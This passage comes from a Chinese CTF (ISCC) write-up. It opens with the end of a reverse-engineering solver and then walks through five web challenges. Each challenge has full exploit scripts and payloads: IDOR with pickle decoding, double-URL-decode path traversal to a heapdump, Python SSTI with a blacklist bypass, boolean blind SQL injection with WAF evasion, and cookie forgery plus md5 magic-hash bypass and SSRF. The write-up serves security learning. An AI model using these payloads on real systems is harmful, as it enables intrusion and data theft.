16, 38, 19, 75, 69, 81, 76, 78, 50, 11, 74, 6, 20, 47, 5, 4,
10, 84, 77, 22, 42, 72, 82, 9, 44, 62, 85, 79, 23, 17, 61, 35,
59, 28, 36, 57, 55, 46, 63, 24, 8, 33, 7, 60, 67, 71, 2
]
P_inv = [0] * 95
for i, v in enumerate(P):
P_inv[v] = i
FAKE = b'iscc_{this_is_not_flag}'
calls = [
{'row': 0, 'col': 0, 'diff': 2, 't': 2},
{'row': 0, 'col': 1, 'diff': 0, 't': 2},
{'row': 0, 'col': 2, 'diff': 2, 't': 3},
{'row': 0, 'col': 3, 'diff': 2, 't': 1},
{'row': 1, 'col': 0, 'diff': 2, 't': 1},
{'row': 1, 'col': 1, 'diff': 2, 't': 1},
{'row': 1, 'col': 2, 'diff': 0, 't': 0},
{'row': 1, 'col': 3, 'diff': 0, 't': 1},
{'row': 2, 'col': 0, 'diff': 1, 't': 2},
{'row': 2, 'col': 1, 'diff': 1, 't': 1},
{'row': 2, 'col': 2, 'diff': 0, 't': 1},
{'row': 2, 'col': 3, 'diff': 0, 't': 1},
{'row': 3, 'col': 0, 'diff': 1, 't': 0},
{'row': 3, 'col': 1, 'diff': 1, 't': 1},
{'row': 3, 'col': 2, 'diff': 2, 't': 3},
{'row': 3, 'col': 3, 'diff': 0, 't': 0},
]
def unprint_idx(ch):
return ch - 32
def print_chr(idx):
return idx % 95 + 32
def inv_point(ch, t):
idx = unprint_idx(ch)
if t > 0:
k = FAKE[t % len(FAKE)] % 95
for _ in range(t):
idx = P_inv[(idx - k) % 95]
return print_chr(idx)
def inv_prefix(flat, seed):
y = [unprint_idx(c) for c in flat]
x = [0] * len(y)
prev = seed % 95
for i, yi in enumerate(y):
x[i] = (yi - prev) % 95
prev = yi
return [print_chr(v) for v in x]
def fwd_prefix(flat, seed):
prev = seed % 95
out = []
for c in flat:
idx = unprint_idx(c)
prev = (prev + idx) % 95
out.append(print_chr(prev))
return out
def fwd_point(ch, t):
idx = unprint_idx(ch)
if t > 0:
k = FAKE[t % len(FAKE)] % 95
for _ in range(t):
idx = (P[idx] + k) % 95
return print_chr(idx)
mat = [TARGET[i * 4:(i + 1) * 4] for i in range(4)]
for c in reversed(calls):
mat[c['row']][c['col']] = inv_point(mat[c['row']][c['col']], c['t'])
flat = [b for row in mat for b in row]
flat = inv_prefix(flat, c['diff'])
mat = [flat[i * 4:(i + 1) * 4] for i in range(4)]
candidate = bytes([b for row in mat for b in row])
print("inner:", candidate)
print("flag:", "ISCC{" + candidate.decode() + "}")
# 正向回验
mat = [list(candidate[i * 4:(i + 1) * 4]) for i in range(4)]
for c in calls:
flat = [b for row in mat for b in row]
flat = fwd_prefix(flat, c['diff'])
mat = [flat[i * 4:(i + 1) * 4] for i in range(4)]
mat[c['row']][c['col']] = fwd_point(mat[c['row']][c['col']], c['t'])
res = bytes([b for row in mat for b in row])
print("forward result:", res)
print("match:", res == bytes(TARGET))运行结果:
inner: b'z]"gc\\\'A(8_NWY~s'
flag: ISCC{z]"gc\'A(8_NWY~s}
forward result: b';s<b/?vEiC{s"{C9'
match: True九、为什么 iscc_{this_is_not_flag} 不是答案
程序中确实会在函数里显式构造:
iscc_{this_is_not_flag}
但是它没有进入最终比较分支。
它的作用只是:
- 取其中某个字符
- 对 95 取模
- 作为偏移量参与置换运算
所以这是明显的迷惑项。
十、最终结论
这道题的关键点不在爆破,而在于:
- 看懂主函数的长度与格式校验
- 找到真正的 16 字节比较常量
- 区分假字符串和真实校验数据
- 还原 16 次矩阵控制逻辑
- 将单字符置换与整串前缀累加分离出来
- 最后做逆运算恢复输入
Web
0x1 灵感笔记
题目描述
你是一个自由撰稿人,使用“灵感笔记”云笔记工具。今天登录后,偶然发现这个笔记系统似乎有点问题。请分析系统行为,找到隐藏的 Flag。
TL;DR
先注册并登录 admin,确认高价值对象 ID 为 flag-project-001。随后故意调用受保护的 /api/v1/project/detail 拒绝分支,拿到 trace_id,再去 /feedback 读取对应日志。日志中的 stack_trace 实际上是 hex 编码的 pickle 对象,离线解码即可直接提取 flag 字段。
解题过程
步骤 1 - 获取管理员视角
关键观察
系统允许直接注册用户名为 admin 的账号,说明管理员身份模型存在缺陷。登录后可以进入管理员视角,并看到高价值对象和 /api/admin/hint 提示。
关键命令
POST /register -> username=admin&password=admin123\nPOST /login -> username=admin&password=admin123
关键输出
管理员首页可见重要笔记 ID:flag-project-001 和 admin-notes-002。
补充说明
这里不要把正文中出现的 secret 文案当成终点,它只是诱导信息。
步骤 2 - 命中重要对象的拒绝分支
关键观察
根据提示调用 /api/v1/project/detail,并将 project_id 指向 flag-project-001。该请求不会成功返回笔记内容,而是触发 access_denied 分支。
关键命令
POST /api/v1/project/detail\nContent-Type: application/json\n\n{"project_id":"flag-project-001"}
关键输出
{"error":"访问被拒绝","message":"您无权查看此笔记","trace_id":"<trace-id>"}
补充说明
关键点不是 403,而是响应里出现了 trace_id。
步骤 3 - 通过 trace_id 回读日志
关键观察
站点的 /feedback 页面允许提交 trace_id 并查看对应日志。将上一步返回的 trace_id 提交后,可以看到完整的错误记录。
关键命令
POST /feedback\ntrace_id=<trace-id>
关键输出
日志中出现 message=尝试非法访问重要笔记,且 stack_trace 是一段长十六进制字符串。
补充说明
这说明真正的泄露点不在业务正文,而在调试日志。
步骤 4 - 识别并解码 stack_trace
关键观察
stack_trace 不是普通文本堆栈,而是 hex 编码的 pickle 数据。将其转换为字节后用 pickle.loads 还原对象。
关键命令
import pickle\nobj = pickle.loads(bytes.fromhex(blob_hex))\nprint(obj)
关键输出
{'type': 'FLAG_OBJECT', 'flag': 'ISCC{c4refu11_debug_tr4ce_l34k_1d0r}', 'project_id': 'flag-project-001', 'timestamp': '...'}
补充说明
对象中直接包含 flag 字段,因此最终敏感信息来自日志对象泄露。
最终验证
确认题目的最终泄露点为:管理员身份缺陷 + 重要对象拒绝分支日志 + trace_id 回读 + pickle-hex 解码。
关键命令
python3 linggan_note_exp.py
关键输出
ISCC{c4refu11_debug_tr4ce_l34k_1d0r}
附录:EXP
#!/usr/bin/env python3
import pickle
import re
import sys
import requests
BASE = "http://39.105.213.28:5000"
ADMIN_USER = "admin"
ADMIN_PASS = "admin123"
TARGET_ID = "flag-project-001"
def fetch_trace_log(session: requests.Session, trace_id: str) -> str:
resp = session.post(f"{BASE}/feedback", data={"trace_id": trace_id}, timeout=10)
resp.raise_for_status()
return resp.text
def extract_hex_blob(html: str) -> str:
match = re.search(r'"stack_trace":\s*"Object:\s*([0-9a-fA-F]+)"', html)
if not match:
match = re.search(r'"stack_trace":\s*"([0-9a-fA-F]+)"', html)
if not match:
raise RuntimeError("failed to locate stack_trace hex blob in feedback page")
return match.group(1)
def main() -> int:
session = requests.Session()
session.trust_env = False
login = session.post(
f"{BASE}/login",
data={"username": ADMIN_USER, "password": ADMIN_PASS},
timeout=10,
)
login.raise_for_status()
detail = session.post(
f"{BASE}/api/v1/project/detail",
json={"project_id": TARGET_ID},
timeout=10,
)
data = detail.json()
trace_id = data.get("trace_id")
if not trace_id:
detail.raise_for_status()
raise RuntimeError(f"trace_id missing in response: {data}")
html = fetch_trace_log(session, trace_id)
blob_hex = extract_hex_blob(html)
obj = pickle.loads(bytes.fromhex(blob_hex))
flag = obj.get("flag")
if not flag:
raise RuntimeError(f"decoded object does not contain flag: {obj!r}")
print(flag)
return 0
if __name__ == "__main__":
sys.exit(main())0x2 逆向穿越
题目描述
这是一个被重重防护包裹的配置节点。这里的防火墙非常敏感,任何试图跨越边界的行为都会被瞬间捕获。除非……你学会了如何倒着走路。
题目地址:39.105.213.28:12602
TL;DR
题目核心是 Spring Boot 配置读取链中的双重 URL 解码与反斜杠归一化。/config/{app}/{profile}/{filename} 虽然对 .. 和 ../ 做了表面过滤,但 profile 会在控制器里再次 URLDecoder.decode(),随后把 \\ 统一替换成 / 再做 Path.normalize()。因此可以用 ..%255c..%255c..%255c 从 /app/resources/config/app 穿回 /app,先读取 /app/application.yml,再利用暴露的 actuator env 接口找到诊断快照下载地址,最后从 heapdump 中直接提取 flag。
解题过程
步骤 1 - 确认配置读取入口
关键观察
首页直接暴露了 GET /config/{app}/{profile}/{filename}。访问公开配置还能看到提示,明确说明真实敏感配置位于系统根下的 /app/application.yml,说明这题不是普通业务接口,而是配置读取与路径处理逻辑的问题。
关键命令
curl --path-as-is 'http://39.105.213.28:12602/config/app/dev/application.yml?resolvePlaceholders=false'
关键输出
server:
port: 8080
hint: 'This is just a mock repository config. The real secrets are in the main application.yml at the system root (/app/application.yml).'步骤 2 - 利用 profile 参数双解码绕过路径过滤
关键观察
题目对 app 和 filename 里的 .. 过滤得比较直接,但 profile 只拦了原始 ../。控制器后续会再次 URLDecoder.decode(profile),并把反斜杠替换成正斜杠再 normalize()。因此 ..%255c..%255c..%255c 在第一次路由解码后仍保留 %5c,到第二次解码才变成 ..\..\..\,最终在路径归一化阶段变成真正的目录回退,成功读取 /app/application.yml。
关键命令
curl --path-as-is 'http://39.105.213.28:12602/config/app/..%255c..%255c..%255c/application.yml?resolvePlaceholders=false'
关键输出
server:
port: 8080
spring:
application:
name: cloud-config-central
management:
endpoints:
web:
base-path: "/internal-monitor-xyz123"
exposure:
include: "env"步骤 3 - 读取 actuator env 获取诊断快照路径
关键观察
拿到 /app/application.yml 后,最重要的信息是 actuator 基础路径 /internal-monitor-xyz123,并且只暴露了 env。继续访问该接口可以看到 SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH,即内部诊断快照的真实下载路径。这里的 FLAG 环境变量已经被 sanitize 成 ******,所以直接看 env 不够,还需要进一步取快照。
关键命令
curl -s 'http://39.105.213.28:12602/internal-monitor-xyz123/env' | grep -E 'SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH|FLAG'
关键输出
"SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH":"/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat"
"FLAG":"******"步骤 4 - 下载 heapdump 并提取 flag
关键观察
诊断快照实际上是一个 HPROF heapdump。既然 env 里只掩码了 FLAG,那堆里通常还会保留明文字符串。直接下载该文件并检索花括号格式字符串即可拿到 flag。
关键命令
curl -s 'http://39.105.213.28:12602/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat' | strings -n 4 | grep 'ISCC{'
关键输出
ISCC{Double_Decode_Spring_Bingo_2026}
最终验证
执行 EXP 后,会自动读取 /app/application.yml、定位 actuator env、解析 heapdump 路径并从堆内恢复 flag。
关键命令
python3 exploit.py
关键输出
ISCC{Double_Decode_Spring_Bingo_2026}
附录:EXP
#!/usr/bin/env python3
import json
import re
import sys
import urllib.parse
import urllib.request
DEFAULT_BASE = "http://39.105.213.28:12602"
USER_AGENT = "Mozilla/5.0"
def fetch(base: str, path: str) -> bytes:
url = urllib.parse.urljoin(base.rstrip("/") + "/", path.lstrip("/"))
req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
with urllib.request.urlopen(req, timeout=30) as resp:
return resp.read()
def walk_for_snapshot(obj):
if isinstance(obj, dict):
for key, value in obj.items():
if key == "SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH" and isinstance(value, str):
return value
found = walk_for_snapshot(value)
if found:
return found
elif isinstance(obj, list):
for item in obj:
found = walk_for_snapshot(item)
if found:
return found
elif isinstance(obj, str) and "/diagnostics/snapshot/" in obj:
return obj
return ""
def main() -> int:
base = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BASE
app_yml = fetch(
base,
"/config/app/..%255c..%255c..%255c/application.yml?resolvePlaceholders=false",
).decode("utf-8", "replace")
path_match = re.search(r'base-path:\s*"([^"]+)"', app_yml)
if not path_match:
raise SystemExit("failed to recover actuator base path from /app/application.yml")
actuator_base = path_match.group(1)
env_doc = json.loads(fetch(base, actuator_base + "/env").decode("utf-8", "replace"))
snapshot_path = walk_for_snapshot(env_doc) or "/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat"
heapdump = fetch(base, snapshot_path)
flag_match = re.search(rb"ISCC\{[^}\r\n\x00]{1,120}\}", heapdump)
if not flag_match:
raise SystemExit("flag not found in heapdump")
print(flag_match.group(0).decode("utf-8"))
return 0
if __name__ == "__main__":
raise SystemExit(main())0x3 企业公文套红预览系统
Summary
题目是一个 Python Web 模板预览服务,tpl 参数存在 SSTI。服务端对 flag 等关键字做了黑名单拦截,但源码提示可以从空字符串对象 '' 出发构造 Python 对象链,最终借助暴露出的 chr 函数拼接出 flag 字符串并读取 doc 中的 flag。
Solution
Step 1: 源码泄露与框架确认
访问首页可以看到注释:
<!-- notes: index.php.bak, app.py.bak -->
备份文件不在根目录,实际位于:
/backup/index.php.bak
/backup/app.py.bakapp.py.bak 中可以看到后端构造了一个 doc 字典:
def build_doc():
return {
'title': '关于进一步规范企业公文套红预览流程的通知',
'department': '企业信息化办公室',
'doc_no': '信办发〔2026〕12号',
'date': '2026-02-24',
'summary': '预览服务仅用于内部版式核对,正式发文前仍需复核内容与编号。',
'flag': '*+*+*+*'
}index.php.bak 中有关键提示:
$compat_note = "输入内容一定要按照模板来,有一套模板就足够了;如果字符显示出了问题,还是按老办法从空字符串对象''一路往上看,不要投机取巧跳过步骤,按最基本的来就行。";
同时响应头显示服务为 Werkzeug/Python,说明后端是 Python Web 服务。
Step 2: 验证模板表达式
对 /preview 发送 POST 请求,参数为 tpl。
先测试正常字段:
{{doc.get('title')}}
可以成功输出标题:
关于进一步规范企业公文套红预览流程的通知
直接读取 flag:
{{doc.get('flag')}}
会被拦截,说明服务端对 flag 关键字做了过滤。
Step 3: 利用对象链绕过黑名单
根据源码提示,从空字符串对象 '' 开始向上找:
{{''.__class__.__base__.__subclasses__()}}
返回结果中存在一个特殊类:
BuiltinBridge
它位于 __subclasses__() 的第 117 项。继续读取它的全局变量:
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}
可以得到:
{'__builtins__': {'chr': <built-in function chr>}}
也就是说,题目暴露了 chr 函数。可以用 chr() 动态拼接出字符串 flag,从而避免 payload 中直接出现明文 flag。
完整利用脚本如下:
import html
import re
import requests
url = "http://39.105.213.28:49104/preview"
chain = "''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr']"
payload = "{{doc.get(%s(102)+%s(108)+%s(97)+%s(103))}}" % (
chain,
chain,
chain,
chain,
)
resp = requests.post(url, data={"tpl": payload}, timeout=10)
match = re.search(r"<pre>(.*?)</pre>", resp.text, re.S)
print(html.unescape(match.group(1)).strip())其中:
chr(102) == "f"
chr(108) == "l"
chr(97) == "a"
chr(103) == "g"所以最终表达式等价于:
doc.get("flag")
脚本输出:
ISCC{enterprise_red_doc_preview}
Flag
ISCC{enterprise_red_doc_preview}
0x4 社团活动统计
题目信息
- 目标地址:
http://39.105.213.28:8000 - 题目类型:Web
- 核心考点:
- 前端提示信息提取
- HTTP 请求头伪造
- 隐藏路由拼接
- 布尔盲注
- 简单 WAF 绕过
一、题目初探
访问首页后,可以看到一个普通的“校园社团活动平台”页面。页面表面上没有表单提交点,也没有明显的后台入口,但源码里已经埋了不少提示。
首页中有几处值得注意:
- 页面顶部导航里,“活动”和“管理”两个关键词被特殊高亮。
- 页脚处有一句提示:
访问核心功能需:用户代理+官方来源页+校园令牌
- “加载更多”活动时请求的是:
/?page=2
直接访问这个接口时,响应头中多出一个关键信息:
X-Campus-Token: campus-ctf-2024-abc123
这说明首页已经把后续访问核心接口所需的第三个条件直接暴露出来了。
二、进一步收集线索
继续查看常见探测点:
1. robots.txt
访问:
/robots.txt
得到:
User-agent: *
Allow: /static/hint/tech_stack.txt这类题里 robots.txt 通常就是主动给路。
2. 技术栈提示文件
访问:
/static/hint/tech_stack.txt
返回内容:
Backend: Django 5.2.5
ATTENTION:
To access the core interface, you need to set two request headers correctly:
1. User-Agent: Must strictly follow "Campus-Stat/1.0" (including case and special symbols);
2. Referer: Must be a valid HTTPS URL containing "campus-stat.example.com" (no extra content, only the root domain).至此,三要素已经齐了:
User-Agent: Campus-Stat/1.0Referer: https://campus-stat.example.com/X-Campus-Token: campus-ctf-2024-abc123
后续访问隐藏功能时,需要把这三个请求头全部带上。
三、隐藏路由定位
题目首页的关键词是:
- 活动
- 管理
- 统计
这类线索通常不是让你“看懂页面”,而是让你“拼路径”。
因此可以尝试这些路由:
/admin/
/stat/
/activity/分别访问后,拿到了三个页面:
1. /admin/
页面中出现了一个非常关键的隐藏片段:
flag{stat
这不是完整 flag,但说明这个页面是“起点”。
2. /stat/
页面里给出提示词:
Keyword: maybe
虽然这里没有直接给 flag,但结合题意更像是“中间步骤页”。
3. /activity/
页面源码和控制台线索中出现:
ISCC{Campus_Stat_A_
这已经给出了 flag 的前半部分。
4. 组合路径测试
继续将三个关键词按语义拼接:
/admin/stat/activity/
该路径返回了真正的后台统计页面,说明核心入口已经找到。
四、发现注入点
访问:
/admin/stat/activity/
页面中有一个 GET 表单参数:
<input type="text" id="dim_filter" name="dim_filter" ...>
同时源码中埋了三条关键提示:
1. title 属性提示
该参数会作为统计结果的别名使用
2. data-hint 提示
SQL语句格式为SELECT COUNT(*) AS [维度值] FROM activity
3. HTML 注释提示
Flag存储在flag表的value字段,可通过构造条件判断字符是否正确
WAF会过滤空格和完整关键词,可用/**/替代空格,简化关键词绕过到这里其实已经非常明确:
- 注入点在
dim_filter - 数据库查询大致与
SELECT COUNT(*) ... FROM activity有关 - flag 在
flag表的value字段中 - 需要用布尔盲注方式逐位判断
- 还要绕过简单 WAF
五、参数行为分析
先做几组最基本的测试:
?dim_filter=1
?dim_filter=0
?dim_filter=1=1
?dim_filter=1=2
?dim_filter=2>1
?dim_filter=2<1观察结果:
- 条件为真时,页面显示
✅ 10 - 条件为假时,页面显示
✅ 0
这说明后端并不是单纯把 dim_filter 当字符串别名,而是把它当作了一个可以影响查询结果的表达式。
也就是说,这里存在一个非常稳定的真假回显通道:
10表示 True0表示 False
这正是标准布尔盲注场景。
六、WAF 绕过思路
源码提示已经给出:
- 空格会被过滤
- 完整敏感关键词会被拦截
- 可以用
/**/替代空格
实际测试发现,像下面这种写法会被拦截:
FROM
WHERE
SELECT但使用大小写混淆并配合注释空格后可以通过:
SeLeCt/**/value/**/FrOm/**/flag
因此,后续盲注统一使用这种写法。
七、盲注验证
先验证第一个字符是否为 I:
?dim_filter=substr((SeLeCt/**/value/**/FrOm/**/flag),1,1)='I'
返回:
✅ 10
再测试一个错误字符:
?dim_filter=substr((SeLeCt/**/value/**/FrOm/**/flag),1,1)='X'
返回:
✅ 0
这说明注入已经完全打通,接下来只需要逐位枚举即可。
八、先确定 flag 长度
使用长度判断:
?dim_filter=length((SeLeCt/**/value/**/FrOm/**/flag))=27
返回为真,因此 flag 长度为:
27
九、逐位枚举 flag
1. 手工思路
逐位判断第 n 个字符:
substr((SeLeCt/**/value/**/FrOm/**/flag),n,1)='x'
如果页面回显 ✅ 10,说明该位字符正确。
例如:
substr((SeLeCt/**/value/**/FrOm/**/flag),1,1)='I'
substr((SeLeCt/**/value/**/FrOm/**/flag),2,1)='S'
substr((SeLeCt/**/value/**/FrOm/**/flag),3,1)='C'
...但手工跑 27 位会比较慢,因此更适合写脚本。
2. 自动化脚本
下面给出一份可复现的 Python 脚本。脚本逻辑是:
- 先确认长度
- 然后逐位枚举字符
- 当回显中出现
10时,说明条件为真
import requests
import re
import string
base = "http://39.105.213.28:8000/admin/stat/activity/"
headers = {
"User-Agent": "Campus-Stat/1.0",
"Referer": "https://campus-stat.example.com/",
"X-Campus-Token": "campus-ctf-2024-abc123",
}
charset = string.ascii_letters + string.digits + string.punctuation
def query(expr):
r = requests.get(base, headers=headers, params={"dim_filter": expr}, timeout=10)
m = re.search(r'<div class="count">(.*?)</div>', r.text, re.S)
if not m:
return False
return "10" in m.group(1)
length = None
for i in range(1, 80):
expr = f"length((SeLeCt/**/value/**/FrOm/**/flag))={i}"
if query(expr):
length = i
print("[+] length =", length)
break
flag = ""
for pos in range(1, length + 1):
for ch in charset:
if ch == "'":
continue
expr = f"substr((SeLeCt/**/value/**/FrOm/**/flag),{pos},1)='{ch}'"
if query(expr):
flag += ch
print(f"[+] pos {pos}: {flag}")
break
print("[+] flag =", flag)十、为什么后半段适合改用二分法
题目站点偶尔会超时,尤其是在字符集较大时,一个位置可能要试很多次请求。
因此更稳的做法,是直接对字符 ASCII/Unicode 编码做二分。
这个站点支持 unicode(),因此可以写成:
unicode(substr((SeLeCt/**/value/**/FrOm/**/flag),22,1))>=80
然后通过真假结果不断缩小范围,快速得到目标字符。
这种方法的优势:
- 每个字符只需要几次请求
- 比遍历整个字符集快很多
- 站点不稳定时更实用
十一、拿到最终 flag
结合页面已经给出的前缀:
ISCC{Campus_Stat_A_
再通过盲注恢复剩余字符,最终得到:
ISCC{Campus_Stat_A_7K!zY@w}
十二、完整利用链总结
这道题的完整解题链条如下:
- 访问首页,发现“活动 / 管理 / 统计”等关键词和页脚提示。
- 访问
/?page=2,从响应头得到X-Campus-Token。 - 查看
robots.txt,拿到/static/hint/tech_stack.txt。 - 访问提示文件,获得:
- 正确的
User-Agent - 正确的
Referer
- 访问
/admin/、/stat/、/activity/收集碎片线索。 - 将关键词拼接为
/admin/stat/activity/,进入核心统计页面。 - 通过源码注释定位
dim_filter为注入点。 - 根据提示得知:
- 查询骨架
- flag 表和字段
- WAF 绕过方式
- 使用布尔盲注按位恢复 flag。
这题的设计比较典型,属于“多层提示驱动型 Web 题”:
- 第一层提示在前端页面
- 第二层提示在响应头
- 第三层提示在
robots.txt - 第四层提示在隐藏路由
- 最终利用点在参数注入
如果前面线索没有收干净,后面会很难推进。
十三、题目考点复盘
1. 不要只盯着页面可见内容
源码、注释、响应头、静态提示文件都可能藏关键信息。
2. 关键词往往不仅是“提示词”,也是“路径词”
这题里的“活动”“管理”“统计”并不是为了叙述页面功能,而是为了拼接隐藏路由:
/admin/stat/activity/
3. 简单 WAF 不代表无法利用
题目只过滤了空格和部分完整敏感词,使用:
/**/替代空格- 大小写混淆关键字
就可以顺利绕过。
4. 布尔盲注的关键是稳定真假信号
只要能找到一个稳定的真假回显点,剩下就只是自动化问题。
这题里的:
✅ 10= True✅ 0= False
就非常适合写脚本。
十四、最终答案
ISCC{Campus_Stat_A_7K!zY@w}
十五、可直接复用的请求示例
1. 验证核心入口
curl "http://39.105.213.28:8000/admin/stat/activity/" \
-H "User-Agent: Campus-Stat/1.0" \
-H "Referer: https://campus-stat.example.com/" \
-H "X-Campus-Token: campus-ctf-2024-abc123"2. 验证某一位字符
curl "http://39.105.213.28:8000/admin/stat/activity/?dim_filter=substr((SeLeCt/**/value/**/FrOm/**/flag),1,1)='I'" \
-H "User-Agent: Campus-Stat/1.0" \
-H "Referer: https://campus-stat.example.com/" \
-H "X-Campus-Token: campus-ctf-2024-abc123"3. 验证长度
curl "http://39.105.213.28:8000/admin/stat/activity/?dim_filter=length((SeLeCt/**/value/**/FrOm/**/flag))=27" \
-H "User-Agent: Campus-Stat/1.0" \
-H "Referer: https://campus-stat.example.com/" \
-H "X-Campus-Token: campus-ctf-2024-abc123"十六、结语
这道题本质上并不难,难点主要在于线索分散:
- 首页给一部分
robots.txt给一部分- 响应头给一部分
- 隐藏页面再给一部分
只要信息收集做完整,后面的注入利用就很顺。题目整体思路清晰,属于比较标准、也比较适合练习“从提示到利用链闭环”的 Web 题。
0x5 值班邮件台
题目描述
夜班值守,手别太快。别人的邮件别乱翻,自己的联调痕迹也别乱留。台子搭得仓促,收尾却没收干净,安静的界面下面,总还有点不该留下的东西。
题目为一条紧凑的联调残留利用链:先从公开页面识别客户端角色信任,再借公开联调下载面拿到内部诊断别名,最后通过弱比较复核进入本机预览并读取仅内网开放的最终结果。
TL;DR
这是一道以联调残留为主题的多段式 Web 题。最短链不是扫目录或撞后台,而是顺着界面和联调材料给出的低噪声线索,依次完成客户端鉴权伪造、公开下载信息泄露、弱比较复核绕过,以及仅本机预览 SSRF 的组合利用。
解题过程
步骤 1 - 步骤 1 - 识别客户端鉴权信任
关键观察
访问首页即可看到当前用户和角色直接体现在浏览器 Cookie 中,同时页面文案明确提到“浏览器侧旧标记”仍在沿用,后台入口为 /admin.php。将 mail_role 从 user 改为 admin 后重新访问后台,可从 403 变为 200,证明服务端直接信任未签名角色 Cookie。
关键命令
curl -i -H 'Cookie: mail_user=guest; mail_role=admin' http://39.105.213.28:49103/admin.php
关键输出
Only admin can access this page. -> 切换 Cookie 后返回后台预览面板 HTML
步骤 2 - 步骤 2 - 借公开下载面泄露内部诊断别名
关键观察
后台说明文件由 download.php 直接公开下载,无需管理员态。先读取 preview-readme.txt,再继续读取 route-index.txt,可得到仍保留的内部诊断别名,其中 final 指向一个仅内网开放的 report 视图。这一步把题目从“看到后台表单”推进成“知道应该让预览器去打哪个内网地址”。
关键命令
curl 'http://39.105.213.28:49103/download.php?file=files/notes/route-index.txt'
关键输出
得到 health / mailq / final 三个内部诊断别名,其中 final 对应内网 report 路由
步骤 3 - 步骤 3 - 用 magic hash 通过双人复核并触发本机预览
关键观察
后台表单要求两份预览凭据不能完全相同,但两份不同输入只要摘要弱比较成立仍会通过。使用经典 md5 magic-hash 对 240610708 / QNKCDZO 可满足这类 PHP md5($a) == md5($b) 条件。随后把 target_url 设为完整的 loopback 绝对 URL,并注意把内部 query 作为表单字段值整体 URL 编码,否则 &slot=last 会被外层表单拆字段。提交后,预览器以管理员视角从 127.0.0.1 读取最终 report 并回显 flag。
关键命令
curl -s -H 'Cookie: mail_user=guest; mail_role=admin' -X POST 'http://39.105.213.28:49103/admin.php' -d 'token_a=240610708' -d 'token_b=QNKCDZO' --data-urlencode 'target_url=http://127.0.0.1/internal/report?view=flag&slot=last'
关键输出
返回结果区回显最终 flag
最终验证
使用经验证的 Cookie、magic-hash 凭据和 URL 编码后的 loopback 目标地址提交后台预览请求。
关键命令
python3 zhiban_mail_exp.py
关键输出
ISCC{ACxmCnWgL3C7LqWImKfgtK6h}
附录:EXP
#!/usr/bin/env python3
import re
import sys
import requests
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://39.105.213.28:49103"
MAGIC_A = "240610708"
MAGIC_B = "QNKCDZO"
FINAL_URL = "http://127.0.0.1/internal/report?view=flag&slot=last"
def main() -> int:
session = requests.Session()
session.cookies.set("mail_user", "guest")
session.cookies.set("mail_role", "admin")
response = session.post(
f"{BASE_URL}/admin.php",
data={
"token_a": MAGIC_A,
"token_b": MAGIC_B,
"target_url": FINAL_URL,
},
timeout=10,
)
response.raise_for_status()
match = re.search(r"(ISCC\{[^<\s]+\})", response.text)
if not match:
print("[!] flag not found")
print(response.text)
return 1
print(match.group(1))
return 0
if __name__ == "__main__":
raise SystemExit(main())